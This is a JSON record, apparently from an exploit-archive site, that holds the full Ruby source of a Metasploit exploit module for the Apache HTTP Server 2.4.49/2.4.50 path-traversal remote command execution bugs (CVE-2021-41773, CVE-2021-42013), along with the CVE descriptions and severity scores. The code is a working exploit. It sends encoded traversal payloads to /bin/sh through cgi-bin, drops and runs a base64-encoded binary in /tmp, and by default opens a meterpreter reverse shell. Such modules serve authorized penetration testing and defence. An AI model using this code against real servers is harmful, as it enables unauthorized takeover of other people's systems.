{"exploit":{"id":"MSF-multi--http--apache_normalize_path_rce","name":"Apache 2.4.49/2.4.50 Traversal RCE","description":"This module exploit an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773). If files outside of the document root are not protected by 'require all denied' and CGI has been explicitly enabled, it can be used to execute arbitrary commands (Remote Command Execution). This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).","cves":["CVE-2021-41773","CVE-2021-42013"],"author":"Ash Daulton, Dhiraj Mishra, mekhalleh (RAMELLA Sébastien)","published":"2021-05-10","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/28c856ca21ac307a61589dae6a173dfc2003a235/modules/exploits/multi/http/apache_normalize_path_rce.rb","path":"modules/exploits/multi/http/apache_normalize_path_rce.rb","revision":"28c856ca21ac307a61589dae6a173dfc2003a235","filename":"apache_normalize_path_rce.rb","vulnerabilities":[{"id":"CVE-2021-41773","state":"PUBLISHED","title":"Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49","titleSource":"CVE Program","description":"A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-41773","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-41773"},"updatedAt":"2025-10-21T23:25:30.864Z","retrievedAt":"2026-11-26T23:04:46.495Z","stale":false,"error":null},{"id":"CVE-2021-42013","state":"PUBLISHED","title":"Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)","titleSource":"CVE Program","description":"It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-42013","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-42013"},"updatedAt":"2025-10-21T23:25:30.222Z","retrievedAt":"2026-11-26T23:04:46.478Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--apache_normalize_path_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--apache_normalize_path_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--apache_normalize_path_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--apache_normalize_path_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n  include Msf::Exploit::Remote::CheckModule\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE',\n        'Description' => %q{\n          This module exploit an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).\n          If files outside of the document root are not protected by 'require all denied' and CGI has been explicitly enabled,\n          it can be used to execute arbitrary commands (Remote Command Execution).\n          This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).\n        },\n        'References' => [\n          ['CVE', '2021-41773'],\n          ['CVE', '2021-42013'],\n          ['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],\n          ['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],\n          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],\n          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],\n          ['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']\n        ],\n        'Author' => [\n          'Ash Daulton', # Vulnerability discovery\n          'Dhiraj Mishra', # Metasploit auxiliary module\n          'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)\n        ],\n        'DisclosureDate' => '2021-05-10',\n        'License' => MSF_LICENSE,\n        'DefaultOptions' => {\n          'CheckModule' => 'auxiliary/scanner/http/apache_normalize_path',\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'Targets' => [\n          [\n            'Automatic (Dropper)',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X64, ARCH_X86],\n              'Type' => :linux_dropper,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',\n                'DisablePayloadHandler' => 'false'\n              }\n            }\n          ],\n          [\n            'Unix Command (In-Memory)',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_command,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/generic',\n                'DisablePayloadHandler' => 'true'\n              }\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-42013', ['CVE-2021-41773', 'CVE-2021-42013']]),\n      OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5]),\n      OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin'])\n    ])\n  end\n\n  def check_options\n    {\n      'Action' => 'CHECK_RCE'\n    }\n  end\n\n  def cmd_unix_generic?\n    datastore['PAYLOAD'] == 'cmd/unix/generic'\n  end\n\n  def execute_command(command, _opts = {})\n    traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'\n\n    uri = normalize_uri(datastore['TARGETURI'], traversal.to_s)\n    response = send_request_raw({\n      'method' => Rex::Text.rand_text_alpha(3..4),\n      'uri' => uri,\n      'data' => \"#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{command}\"\n    })\n    if response && response.body\n      return response.body\n    end\n\n    false\n  end\n\n  def message(msg)\n    \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n  end\n\n  def pick_payload\n    case datastore['CVE']\n    when 'CVE-2021-41773'\n      payload = '.%2e/'\n    when 'CVE-2021-42013'\n      payload = '.%%32%65/'\n    else\n      payload = ''\n    end\n\n    payload\n  end\n\n  def exploit\n    @proto = (ssl ? 'https' : 'http')\n\n    if (!check.eql? Exploit::CheckCode::Vulnerable) && !datastore['ForceExploit']\n      fail_with(Failure::NotVulnerable, 'The target is not exploitable.')\n    end\n\n    print_status(message(\"Attempt to exploit for #{datastore['CVE']}\"))\n    case target['Type']\n    when :linux_dropper\n\n      file_name = \"/tmp/#{Rex::Text.rand_text_alpha(4..8)}\"\n      cmd = \"echo #{Rex::Text.encode_base64(generate_payload_exe)} | base64 -d > #{file_name}; chmod +x #{file_name}; #{file_name}; rm -f #{file_name}\"\n\n      print_status(message(\"Sending #{datastore['PAYLOAD']} command payload\"))\n      vprint_status(message(\"Generated command payload: #{cmd}\"))\n\n      execute_command(cmd)\n\n      register_file_for_cleanup file_name\n    when :unix_command\n      vprint_status(message(\"Generated payload: #{payload.encoded}\"))\n\n      if !cmd_unix_generic?\n        execute_command(payload.encoded)\n      else\n        received = execute_command(payload.encoded.to_s)\n\n        print_warning(message('Dumping command output in response'))\n        if !received\n          print_error(message('Empty response, no command output'))\n\n          return\n        end\n        print_line(received)\n      end\n    end\n  end\nend\n","sha256":"3daf7a602978fd1c258af4309ed65a509b3ea39ea046f4e1471b154b4b461fd5","bytes":5472,"fetchedAt":"2026-11-27T16:16:17.937Z","encoding":"utf-8 (display only; download retains original bytes)"}